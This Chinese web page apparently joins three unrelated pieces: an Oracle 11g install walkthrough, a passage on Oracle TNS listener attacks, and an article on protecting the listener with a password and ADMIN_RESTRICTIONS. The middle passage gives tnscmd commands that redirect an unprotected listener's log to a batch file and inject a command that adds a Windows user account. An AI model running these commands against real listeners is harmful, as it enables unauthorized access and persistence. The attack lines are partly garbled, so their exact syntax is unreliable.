2
紧接着我们点开我们的oracle11g安装包,点击里面的setup进行安装
3
这里就会d出一个运行环境的框体
4
随后进入我们的安装途径(设置我们的安装路径和账户口令~~也就是我们的数据库名字和密码)
5
设置完毕后点击下一步(在这里我们选择是)
随后会是一个填写邮箱和反馈错信息的选项,(这里大家注意的是不需要填写邮箱地址,也不需要你把反馈信息的那个小方块钩住),然后点击下一步
进入条件检查(在检查完毕之后,我们把最上面的两个选中)随后点击下一步
d出这个窗体之后,什么都不需要点击了,直接选择安装即可
这一步是点击了安装之后所进入的安装进度条
这一步完成之后,它会d出一个口令管理的窗体如11步所示
这个就是我们的口令管理窗体了(这一步里面我们点击口令管理,就会出现如12步中的界面)
注意在最上面个的两行中输入新的口令和端口口令,注意口令要一致(比如我们输入的是123123那么都要求是123123)还有就是选择下面的scott将它的√去掉
安装结束,选择取消即可
随后我们点开我们的运行环境(PLSQL Developer 8.0.3.1510)里面的plsqldev运行即可
d出如下的运行结果,表示安装成功!
先 根据版本的不同 TNS listener可能较易受到多种类型的缓冲区溢出攻击 这些攻击可以在不提供用户ID和口令的情况下被利用 例如 在oracle i中 当客户机请求某个过长的service_name时 很容易受到溢出攻击 当listener为日志构建错误消息之后 service_name的值会被复制到某于栈结构的缓冲区内 从而引起溢出—覆盖保存值将返回栈中的地址 这种做法可以使攻击者获得控制权 事实上 TNS listener曾经有过多次溢出和格式化字符串的漏洞
其次 另一类攻击和日志文件有关 只有当未给listener设置口令的时候 攻击才会有效 假设某个listener没有设置口令 攻击方法如下
[Copy to clipboard]CODE:tnscmd h p rawcmd (DESCRIPTION=(CONNECT_DATA=(CID=(PROGRAM=)(HOST=)(USER=))(MAND=log_directory)(ARGUMENTS= )(SERVICE=LISTENER)(VERSION= )(VALUE=c:\\)))
将日志目录设置到C盘
[Copy to clipboard]CODE:tnscmd h p rawcmd (DESCRIPTION=(CONNECT_DATA=(CID=(PROGRAM=)(HOST=)(USER=))(MAND=log_file)(ARGUMENTS= )(SERVICE=LISTENER)(VERSION= )(VALUE=test bat)))
将日志文件设置为test bat
[Copy to clipboard]CODE:tnscmd h rawcmd (CONNECT_DATA=(( ||dir >test txt||net user test test /add))
该命令把dir >test txt net user test test /add命令写入c:\test bat文件 由于双竖线的作用(第一条命令执行失败后 WINDOWS命令解释器执行后面的命令)把错误的信息注释掉 从而可以执行我们提交的命令
通过设置日志文件到不同的目录 例如WINDOWS的启动目录 当服务器重启将执行恶意用户提交的特定代码 从而对系统造成威胁
lishixinzhi/Article/program/Oracle/201311/18311很多人都知道,Oracle的监听器一直存在着一个安全隐患,假如不设置安全措施,那么能够访问的用户就可以远程关闭监听器。
相关示例:
D:\>lsnrctl stop eygle
LSNRCTL for 32-bit Windows: Version 10.2.0.3.0 - Production on 28-11月-2007 10:02:40
Copyright (c) 1991, 2006, Oracle. All rights reserved.
正在连接到 (DESCRIPTION=(ADDRESS=(PROTOCOL=TCP)(HOST=172.16.33.11)(PORT=1521))
(CONNECT_DATA=(SERVICE_NAME=eygle)))
命令执行成功
大家可以发现,此时缺省的监听器的日志还无法记录 *** 作地址:
No longer listening on: (DESCRIPTION=(ADDRESS=(PROTOCOL=tcp)(HOST=172.16.33.11)(PORT=1521)))
28-NOV-2007 09:59:20 * (CONNECT_DATA=(CID=(PROGRAM=)(HOST=)(USER=Administrator))(COMMAND=stop)
(ARGUMENTS=64)(SERVICE=eygle)(VERSION=169870080)) * stop * 0
为了更好的保证监听器的安全,大家最好为监听设置密码:
[oracle@jumper log]$ lsnrctl
LSNRCTL for Linux: Version 9.2.0.4.0 - Production on 28-NOV-2007 10:18:17
Copyright (c) 1991, 2002, Oracle Corporation. All rights reserved.
Welcome to LSNRCTL, type "help" for information.
LSNRCTL>set current_listener listener
Current Listener is listener
LSNRCTL>change_password
Old password:
New password:
Reenter new password:
Connecting to (DESCRIPTION=(ADDRESS=(PROTOCOL=TCP)(HOST=172.16.33.11)(PORT=1521)))
Password changed for listener
The command completed successfully
LSNRCTL>set password
Password:
The command completed successfully
LSNRCTL>save_config
Connecting to (DESCRIPTION=(ADDRESS=(PROTOCOL=TCP)(HOST=172.16.33.11)(PORT=1521)))
Saved LISTENER configuration parameters.
Listener Parameter File /opt/oracle/product/9.2.0/network/admin/listener.ora
Old Parameter File /opt/oracle/product/9.2.0/network/admin/listener.bak
The command completed successfully
在我们设置密码后,远程 *** 作将会因缺失密码而出现失败:
D:\>lsnrctl stop eygle
LSNRCTL for 32-bit Windows: Version 10.2.0.3.0 - Production on 28-11月-2007 10:22:57
Copyright (c) 1991, 2006, Oracle. All rights reserved.
正在连接到 (DESCRIPTION=(ADDRESS=(PROTOCOL=TCP)(HOST=172.16.33.11)
(PORT=1521))(CONNECT_DATA=(SERVICE_NAME=eygle)))
TNS-01169: 监听程序尚未识别口令
注意:此时在服务器端或客户端,都需要我们通过密码来起停监听器:
LSNRCTL>set password
Password:
The command completed successfully
LSNRCTL>stop
Connecting to (DESCRIPTION=(ADDRESS=(PROTOCOL=TCP)(HOST=172.16.33.11)(PORT=1521)))
The command completed successfully
LSNRCTL>start
Starting /opt/oracle/product/9.2.0/bin/tnslsnr: please wait...
TNSLSNR for Linux: Version 9.2.0.4.0 - Production
System parameter file is /opt/oracle/product/9.2.0/network/admin/listener.ora
Log messages written to /opt/oracle/product/9.2.0/network/log/listener.log
Trace information written to /opt/oracle/product/9.2.0/network/trace/listener.trc
Listening on: (DESCRIPTION=(ADDRESS=(PROTOCOL=tcp)(HOST=172.16.33.11)(PORT=1521)))
Connecting to (DESCRIPTION=(ADDRESS=(PROTOCOL=TCP)(HOST=172.16.33.11)(PORT=1521)))
STATUS of the LISTENER
------------------------
Alias LISTENER
Version TNSLSNR for Linux: Version 9.2.0.4.0 - Production
Start Date 28-NOV-2007 10:22:23
Uptime 0 days 0 hr. 0 min. 0 sec
Trace Level support
Security ON
SNMP OFF
Listener Parameter File /opt/oracle/product/9.2.0/network/admin/listener.ora
Listener Log File /opt/oracle/product/9.2.0/network/log/listener.log
Listener Trace File /opt/oracle/product/9.2.0/network/trace/listener.trc
Listening Endpoints Summary...
(DESCRIPTION=(ADDRESS=(PROTOCOL=tcp)(HOST=172.16.33.11)(PORT=1521)))
Services Summary...
Service "eygle" has 1 instance(s).
Instance "eygle", status UNKNOWN, has 1 handler(s) for this service...
Service "julia" has 1 instance(s).
Instance "eygle", status UNKNOWN, has 1 handler(s) for this service...
The command completed successfully
另外,ADMIN_RESTRICTIONS参数也是一个重要的安全选项,大家可以在 listener.ora 文件中设置 ADMIN_RESTRICTIONS_ 为 ON,此后所有在运行时对监听器的修改都将会被阻止,所有对监听器的修改都必须通过手工修改listener.ora文件才能顺利完成。
欢迎分享,转载请注明来源:内存溢出
评论列表(0条)